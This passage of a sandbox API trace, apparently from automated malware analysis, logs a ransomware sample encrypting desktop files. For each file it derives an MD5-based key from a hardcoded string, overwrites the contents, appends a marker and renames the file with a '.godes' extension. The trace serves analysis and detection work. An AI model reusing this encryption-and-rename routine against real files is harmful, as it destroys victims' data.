lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.733] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.733] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.733] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.733] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.733] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.733] CloseHandle (hObject=0x624) returned 1 [0113.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.734] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.734] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.734] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\L2lRvkk38ZbjI6t.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\l2lrvkk38zbji6t.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\L2lRvkk38ZbjI6t.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\l2lrvkk38zbji6t.wav.godes")) returned 1 [0113.735] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.735] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.736] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2efc9040, ftCreationTime.dwHighDateTime=0x1d4c6f8, ftLastAccessTime.dwLowDateTime=0x45746640, ftLastAccessTime.dwHighDateTime=0x1d4cab3, ftLastWriteTime.dwLowDateTime=0x45746640, ftLastWriteTime.dwHighDateTime=0x1d4cab3, nFileSizeHigh=0x0, nFileSizeLow=0xafcf, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m 3MWBBW.wav", cAlternateFileName="M3MWBB~1.WAV")) returned 1 [0113.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.736] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.736] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.736] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\m 3MWBBW.wav") returned=".wav" [0113.736] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\m 3MWBBW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\m 3mwbbw.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.737] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=45007) returned 1 [0113.738] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.739] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xafa9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.739] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.741] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.741] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.741] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.741] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xafcf, lpOverlapped=0x0) returned 1 [0113.742] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.742] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.742] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.742] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.742] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.743] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.743] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.743] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.743] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.743] GetLastError () returned 0x0 [0113.743] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.743] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xafd0) returned 0x3321120 [0113.743] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.743] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xafca, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xafca, lpOverlapped=0x0) returned 1 [0113.743] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.743] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xafcf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.743] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.744] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.744] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.744] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.744] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.744] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.744] CloseHandle (hObject=0x624) returned 1 [0113.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.745] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8a0) returned 0x3321120 [0113.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.745] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\m 3MWBBW.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\m 3mwbbw.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\m 3MWBBW.wav.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\m 3mwbbw.wav.godes")) returned 1 [0113.745] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.745] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.746] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9931a440, ftCreationTime.dwHighDateTime=0x1d4cb95, ftLastAccessTime.dwLowDateTime=0x3c308820, ftLastAccessTime.dwHighDateTime=0x1d4d53a, ftLastWriteTime.dwLowDateTime=0x3c308820, ftLastWriteTime.dwHighDateTime=0x1d4d53a, nFileSizeHigh=0x0, nFileSizeLow=0xf6f2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QdsM.bmp", cAlternateFileName="")) returned 1 [0113.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.746] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.746] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.746] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\QdsM.bmp") returned=".bmp" [0113.746] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\QdsM.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\qdsm.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.747] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=63218) returned 1 [0113.747] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.748] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf6cc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.748] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.750] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.750] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.750] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.750] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xf6f2, lpOverlapped=0x0) returned 1 [0113.751] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.751] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.751] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.751] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.751] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.752] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.752] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.752] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.752] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.752] GetLastError () returned 0x0 [0113.752] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.752] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.752] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xf6f0) returned 0x3321120 [0113.752] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.752] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.752] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xf6ed, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xf6ed, lpOverlapped=0x0) returned 1 [0113.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.753] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xf6f2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.753] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.753] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.753] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.753] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.753] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.753] CloseHandle (hObject=0x624) returned 1 [0113.754] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x90) returned 0x31e3c08 [0113.754] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x890) returned 0x3321120 [0113.754] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e3c08 | out: hHeap=0x660000) returned 1 [0113.754] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\QdsM.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\qdsm.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\QdsM.bmp.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\qdsm.bmp.godes")) returned 1 [0113.755] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.755] VirtualFree (lpAddress=0x2b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0113.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32518f0 | out: hHeap=0x660000) returned 1 [0113.756] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x636db1d0, ftCreationTime.dwHighDateTime=0x1d4ce17, ftLastAccessTime.dwLowDateTime=0x328fd9f0, ftLastAccessTime.dwHighDateTime=0x1d4cd6b, ftLastWriteTime.dwLowDateTime=0x328fd9f0, ftLastWriteTime.dwHighDateTime=0x1d4cd6b, nFileSizeHigh=0x0, nFileSizeLow=0xd19c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="seA7TG2NfEjVmCk47L.swf", cAlternateFileName="SEA7TG~1.SWF")) returned 1 [0113.756] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x80) returned 0x741400 [0113.756] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xbe) returned 0x32518f0 [0113.756] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x741400 | out: hHeap=0x660000) returned 1 [0113.756] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\seA7TG2NfEjVmCk47L.swf") returned=".swf" [0113.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\seA7TG2NfEjVmCk47L.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\sea7tg2nfejvmck47l.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0113.757] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x3b2fb4c | out: lpFileSize=0x3b2fb4c*=53660) returned 1 [0113.757] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2b70000 [0113.759] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd176, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.759] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3b2fb7c, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb7c*=0x26, lpOverlapped=0x0) returned 1 [0113.760] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x30) returned 0x326c450 [0113.760] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.760] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0113.760] ReadFile (in: hFile=0x624, lpBuffer=0x2b70000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3b2fb78, lpOverlapped=0x0 | out: lpBuffer=0x2b70000*, lpNumberOfBytesRead=0x3b2fb78*=0xd19c, lpOverlapped=0x0) returned 1 [0113.761] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.761] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x25) returned 0x32b8418 [0113.761] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.761] lstrlenA (lpString="E70766781A800544C4FC345568D4CDE1") returned 32 [0113.761] CryptAcquireContextW (in: phProv=0x3b2fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3b2fa94*=0x741400) returned 1 [0113.762] CryptCreateHash (in: hProv=0x741400, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3b2fa9c | out: phHash=0x3b2fa9c) returned 1 [0113.762] CryptHashData (hHash=0x32a6888, pbData=0x32b8418, dwDataLen=0x25, dwFlags=0x0) returned 1 [0113.762] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3b2fa98) returned 1 [0113.762] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x11) returned 0x32593e0 [0113.762] CryptGetHashParam (in: hHash=0x32a6888, dwParam=0x2, pbData=0x32593e0, pdwDataLen=0x3b2fa98, dwFlags=0x0 | out: pbData=0x32593e0, pdwDataLen=0x3b2fa98) returned 1 [0113.762] GetLastError () returned 0x0 [0113.762] CryptDestroyHash (hHash=0x32a6888) returned 1 [0113.762] CryptReleaseContext (hProv=0x741400, dwFlags=0x0) returned 1 [0113.762] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32b8418 | out: hHeap=0x660000) returned 1 [0113.762] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xd1a0) returned 0x3321120 [0113.763] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0113.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x326c450 | out: hHeap=0x660000) returned 1 [0113.763] WriteFile (in: hFile=0x624, lpBuffer=0x3321120*, nNumberOfBytesToWrite=0xd197, lpNumberOfBytesWritten=0x3b2fb24, lpOverlapped=0x0 | out: lpBuffer=0x3321120*, lpNumberOfBytesWritten=0x3b2fb24*=0xd197, lpOverlapped=0x0) returned 1 [0113.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.763] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0xd19c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.763] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x60) returned 0x31bf398 [0113.763] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x428) returned 0x3321120 [0113.763] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", cchWideChar=-1, lpMultiByteStr=0x3321120, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62", lpUsedDefaultChar=0x0) returned 41 [0113.763] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x430) returned 0x3321550 [0113.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321120 | out: hHeap=0x660000) returned 1 [0113.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31bf398 | out: hHeap=0x660000) returned 1 [0113.763] WriteFile (in: hFile=0x624, lpBuffer=0x3321550*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3321550*, lpNumberOfBytesWritten=0x3b2fb2c*=0x28, lpOverlapped=0x0) returned 1 [0113.763] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3321550 | out: hHeap=0x660000) returned 1 [0113.763] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0113.763] WriteFile (in: hFile=0x624, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3b2fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x3b2fb2c*=0x26, lpOverlapped=0x0) returned 1 [0113.763] CloseHandle (hObject=0x624) returned 1 [0113.764] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xa0) returned 0x31d8608 [0113.764] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x8b0) returned 0x3321120 [0113.764] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31d8608 | out: hHeap=0x660000) returned 1 [0113.764] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\seA7TG2NfEjVmCk47L.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\sea7tg2nfejvmck47l.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\k 8cyI7PkJoZDNg M\\seA7TG2NfEjVmCk47L.swf.godes" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\k 8cyi7pkjozdng m\\sea7tg2nfejvmck47l.swf.godes")) returned 1 [0113.765] HeapFree (in: 